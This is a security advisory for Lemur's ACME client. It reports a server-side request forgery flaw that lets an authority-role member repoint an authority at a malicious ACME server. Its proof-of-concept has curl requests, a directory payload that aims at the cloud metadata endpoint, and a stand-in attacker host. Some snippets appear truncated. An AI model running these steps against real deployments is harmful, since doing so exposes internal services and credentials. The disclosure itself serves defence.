GitHub Advisoryadvisory · PyPI

GHSA-xpmj-wjcp-6pww Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs

HIGH Published 2026-08-18 Modified 2026-08-18 Official page ↗
Aliases
CVE-2026-70666
Ecosystem
PyPI
Packages
lemur
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
Weaknesses
CWE-918
Reviewed
2026-08-18

Affected packages

• PyPI lemur: < 1.9.3 → fixed in 1.9.3

Description

Summary The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (`PUT /authorities/`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance. Detail Defect A - allowlist only at creation. `_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs only inside `create_authority` (lines 337, 481). The update path stores `options` verbatim: ```python lemur/authorities/views.py:417-424 (Authorities.put) return service.update( authority_id, owner=data["owner"], description=data["description"], active=data["active"], roles=data["roles"], options=data.get("options") # server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs. 2. `new_order()` -> server returns `finalize` and `authorizations` URLs. 3. `poll()`, `finalize_order()`, cert download -> all hit server-chosen URLs. A malicious ACME server can return internal URLs for all of these. Authorization on update: `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds. Source-to-sink trace: ``` PUT /api/1/authorities/ (AuthorityPermission = authority-role member) -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/... -> Lemur POSTs JWS-signed request to internal URL ``` Steps to Reproduce (POC) Step 1 - Attacker runs a malicious ACME directory server (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses: ```python Minimal: a directory endpoint that points "newOrder" at an internal target { "newNonce": "https://evil.attacker.tld/nonce", "newOrder": "http://169.254.169.254/latest/meta-data/", # " -H "Content-Type: application/json" \ -d '{ "name":"letsencrypt", "owner":"[email protected]", "description":"x","active":true, "roles":[{"id":7,"name":"letsencrypt_operator"}], "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]" }' ``` Step 3 - Issue a certificate against the repointed authority (via UI/API): ```bash curl -k -X POST https://lemur.example.com/api/1/certificates \ -H "Authorization: Bearer " -H "Content-Type: application/json" \ -d '{"commonName":"demo.example.com","owner":"[email protected]", "authority":{"name":"letsencrypt"},"validityYears":1}' ``` The Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.) > *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state. Impact • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance. • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host. • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path. • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method. Fix 1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` immutable after authority creation. 2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.

Related

Alias · CVE (1)

  • CVE-2026-70666 Lemur manages TLS certificate creation. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References